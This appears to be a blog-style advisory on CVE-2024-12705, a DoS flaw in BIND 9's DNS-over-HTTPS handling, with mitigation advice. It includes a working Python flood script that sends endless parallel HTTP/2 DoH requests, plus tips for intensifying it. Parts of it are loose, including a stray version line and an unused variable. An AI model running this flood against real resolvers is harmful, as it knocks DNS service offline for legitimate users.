_CVE-2024-12705_ is a critical vulnerability impacting the popular DNS server software, BIND 9, specifically related to its DNS-over-HTTPS (DoH) functionality. This flaw enables so-called “application-layer” DoS (Denial-of-Service) attacks, which can exhaust the CPU and/or memory of DNS resolvers serving DoH, simply by flooding them with large amounts of crafted HTTP/2 requests.

In this article, we’ll break down the technical details, provide a sample exploit, and explain the potential impact in plain language.

What Is CVE-2024-12705?

CVE-2024-12705 refers to a vulnerability in how certain BIND 9 versions process DNS-over-HTTPS (DoH) traffic—especially over HTTP/2 connections.

BIND 9.18.11-S1 through 9.18.32-S1

With DoH, DNS queries are sent inside encrypted HTTP requests to help user privacy. However, if an attacker sends a flood of valid or invalid HTTP/2 requests, BIND’s resolver can end up busy just handling these, eating up CPU or memory until it becomes unusable for legitimate users.

Why Does This Matter for Users and Admins?

If your organization or internet service uses BIND with DoH enabled, you might be vulnerable. Attackers don’t need to spoof traffic—they can use “valid” requests or slightly malformed ones to trigger resource exhaustion. Successful attacks can take your DNS resolver offline, causing slowdowns, outages, or even opening you up to further attacks.

Technical Details

When BIND 9 acts as a DoH server, it listens for DNS queries embedded in HTTP/2 POST or GET requests. The DoH component does not properly limit or manage resources tied up by many simultaneous HTTP/2 connections or streams, especially if those requests are crafted to be CPU or memory expensive.

Key Points

- Attackers don’t need to break the DoH protocol; they just have to send lots of HTTP/2 DNS traffic.

Simple Exploit Proof-of-Concept

Here’s a simplified Python example, using httpx (a HTTP/2-capable client) to rapidly send DoH requests to a vulnerable resolver. This is for educational purposes only—never attack systems you don’t own or have permission to test.

Install Requirements

pip install httpx

Exploit Example

import httpx
import asyncio

# Target DoH resolver, change as appropriate
DOH_URL = "https://vulnerable-doh.example.com/dns-query";

# Example base64-encoded DNS wire-format query (for 'example.com')
QUERY = "AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB"

async def flood():
    async with httpx.AsyncClient(http2=True, timeout=2) as client:
        while True:
            response = await client.post(
                DOH_URL,
                headers={
                    "Content-Type": "application/dns-message"
                },
                content=bytes.fromhex("000101000001000000000000076578616d706c6503636f6d0000010001") # DNS 'example.com' A query
            )
            print(response.status_code)

async def main():
    # Run many floods in parallel
    await asyncio.gather(*(flood() for _ in range(50)))

if __name__ == "__main__":
    asyncio.run(main())

You can increase the number of parallel flood() tasks to add even more pressure.

- Use random or invalid DNS queries by altering the content or by mixing GET/POST requests.

References and Further Reading

- ISC Security Advisory (CVE-2024-12705)
- BIND 9: DNS-over-HTTPS Module Documentation
- Official NVD Listing for CVE-2024-12705

How Can I Protect My DNS Resolver?

- Upgrade: Patch BIND to a fixed version as soon as possible. Check the ISC advisory for release timelines.
- Rate limit: Use firewalls or reverse proxies to limit incoming DoH/HTTP/2 requests per client IP.

Conclusion

CVE-2024-12705 is a serious DoS vulnerability, especially for organizations exposed on the internet with BIND and DoH enabled. Simple, unauthenticated floods of HTTP/2 traffic can tie up your DNS server, cutting off name resolution, which is fundamental for all other internet services.

Secure your infrastructure by patching, and consider defense-in-depth controls like rate limiting and resource monitoring.

Feel free to share or use this guide for your IT teams and cybersecurity awareness!


Author’s Note: Please use this knowledge responsibly. Only test systems you have explicit permission to test. Want a deep dive or detection rules? Let us know!

Timeline

Published on: 01/29/2025 22:15:28 UTC
Last modified on: 02/07/2025 17:15:30 UTC